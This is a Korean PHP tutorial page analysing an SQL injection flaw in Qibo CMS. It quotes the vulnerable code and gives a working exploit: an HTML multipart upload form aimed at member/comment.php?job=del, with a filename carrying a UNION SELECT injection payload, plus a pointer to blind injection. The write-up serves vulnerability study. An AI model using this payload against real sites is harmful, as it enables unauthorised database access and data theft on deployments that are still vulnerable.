>백엔드 개발 >PHP 튜토리얼 >Qibo CMS SQL 주입 취약점 학습

Qibo CMS SQL 주입 취약점 학습

WBOY
WBOY원래의
2016-08-08 09:27:171558검색

오늘 asrc에서 cms의 취약점 분석에 대한 기사를 봤습니다. (http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib&id=13 ) 아직 알리바바 전문가들은 활용 방법은커녕 취약점 분석을 작성할 때 조금 조심스러운 느낌이 듭니다.

바이두에서 이 CMS를 검색해봤는데 아직도 사용량이 꽤 많네요. 저는 PHP에 대해 잘 몰라서 간단하게 공부하고 사용법을 정리해봤습니다.

취약점의 원인은 inc/common.inc.php에 있는 다음 코드입니다.

if(!ini_get('register_globals')){
	@extract($_FILES,EXTR_SKIP);
}

이 코드의 의미는 다음과 같습니다. PHP가 수신한 $_Files 요청 배열을 일부 변수로 변환합니다. 그리고 우리는 이러한 변수가 마법의 따옴표로 이스케이프되지 않는다는 것을 알고 있습니다.

member/comment.php 파일을 다시 보면 다음 코드가 나옵니다.

if($job=='del'){
      foreach( $cidDB AS $key=>$value){
		$rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'");
		$erp=get_id_table($rs[aid]);
		$rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'");
		if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){
			$db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'");
		}
		$db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'");
	}
	refreshto("$FROMURL","删除成功",0);
}

여기서 $cidDB 변수는 get 메소드를 통해 URL에서 메시지의 id를 가져온 후 sql 문에 넣어 sql을 실행합니다.

그러나 comment.php는 common.inc.php를 참조하고 $cidDB는 초기화되지 않았기 때문에 여기서 $_Files의 변수를 사용할 수 있습니다. 이스케이프 없이 $cidDB를 직접 실행합니다.

poc:

실제로는 poc이 아닙니다. 간단한 활용 방법 중 하나입니다.

간단한 HTML 페이지 작성:

웹사이트 관련 주소를 action

<form method="post" action="http://127.0.0.1/v7/member/comment.php?job=del" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit" name="submit">
</form>

그런 다음 파일 이름을 1' Union Select version() 및 '1'='1

그런 다음 업로드를 제출하면 반환 결과를 볼 수 있습니다.





여기 하나 있어요 더 골치 아픈 문제는 값 값이 두 개의 SQL 문에 저장되기 때문에 두 문의 열이 다르기 때문에 여기서 Union을 사용하면 오류가 보고되는데, 유일한 방법은 Blind Injection입니다. 또는 다른 곳에서 초기화되지 않은 변수를 찾을 수 있습니다.

  • Qibo CMS SQL 주입 취약점 학습
사이즈 : 55.3 KB
  • Qibo CMS SQL 주입 취약점 학습
크기: 26.1 KB
이미지 첨부 보기

위 내용은 관련 측면을 포함하여 Qibo CMS의 SQL 주입 취약점에 대한 학습을 ​​소개합니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
이전 기사:nginx 위치 구성다음 기사:nginx 위치 구성